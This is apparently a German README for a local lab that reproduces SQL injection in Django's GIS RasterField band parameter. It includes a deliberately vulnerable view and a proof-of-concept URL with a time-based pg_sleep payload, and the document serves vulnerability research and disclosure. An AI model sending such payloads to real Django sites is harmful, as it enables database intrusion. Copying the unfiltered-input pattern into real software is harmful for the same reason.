
Django-Framework: Wenn bei der Verwendung von PostGIS zur Abfrage von Geodaten-Rasterdaten unverifizierte Benutzereingaben direkt als band index (Bandindex)-Parameter verwendet werden, kann dies zu einer SQL-Injection führen.
Schwachstellentyp: SQL-Injection
Betroffene Komponente: django.contrib.gis RasterField
Bei der Verwendung von Django GIS RasterField für Abfragen wird der Parameter band direkt in die SQL-Anweisung eingefügt, was zu einer SQL-Injection-Schwachstelle führt. Ein Angreifer kann durch die Konstruktion eines bösartigen band-Parameterwerts beliebigen SQL-Code injizieren.
CVE-2026-1207/
├── .devcontainer/ # VSCode DevContainer-Konfiguration
├── .vscode/ # VSCode-Konfiguration
├── vuln/ # Schwachstellen-Demo-Anwendung
│ ├── models.py # Modell mit RasterField
│ ├── views.py # Auslösepunkt der Schwachstelle
│ └── migrations/ # Datenbank-Migrationsdateien
├── web/ # Django-Projektkonfiguration
├── manage.py
├── README.md
Dieses Schwachstellenprojekt wird mit dem VSCode-Devcontainer erstellt.
Öffnen Sie das vorhandene Projektverzeichnis (das den Ordner .devcontainer enthält) mit VS Code.
Drücken Sie Ctrl+Shift+P (Windows/Linux) oder Cmd+Shift+P (Mac)
Geben Sie Remote-Containers: Reopen in Container ein
VS Code liest die .devcontainer-Konfiguration und erstellt den Container (die erste Erstellung kann einige Minuten dauern)
⚠️ Wenn die Dockerfile oder Abhängigkeiten aktualisiert wurden, können Sie Remote-Containers: Rebuild Container wählen, um sicherzustellen, dass die neueste Umgebung verwendet wird.
Öffnen Sie die Befehlspalette Ctrl+Shift+P
Geben Sie Tasks: Run Task ein
Wählen Sie django:start (die Aufgabe ist in .vscode/tasks.json konfiguriert)
Diese Aufgabe startet den Django-Entwicklungsserver im Container
Standardmäßig lauscht er auf 0.0.0.0:8087
Öffnen Sie den Browser und rufen Sie auf:
http://localhost:8087
Beim ersten Ausführen kann eine Datenbankmigration erforderlich sein:
python manage.py migrate
Die Schwachstellenanalyse wurde veröffentlicht auf Xianzhi https://xz.aliyun.com/news/91993
WeChat-öffentlicher Account https://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A
Rufen Sie die folgende URL auf, um die SQL-Injection auszulösen:
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--
Beobachten Sie die Antwortzeit: Normale Anfragen sollten sofort zurückkehren, während Injektionsanfragen um etwa 3 Sekunden verzögert werden.
def get(self, request: HttpRequest):
band = request.GET.get("band", 1) # ← ungefilterte Benutzereingabe
rast = GDALRaster(...)
qs = RasterModel.objects.filter(rast__contains=(rast, band)) # ← band wird direkt an die Abfrage übergeben
print(qs.query) # ← generierte SQL anzeigen
qs.count()
return HttpResponse("book app")
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))
Dieses Projekt dient ausschließlich Sicherheitsforschungs- und Bildungszwecken. Verwenden Sie es nicht auf nicht autorisierten Systemen.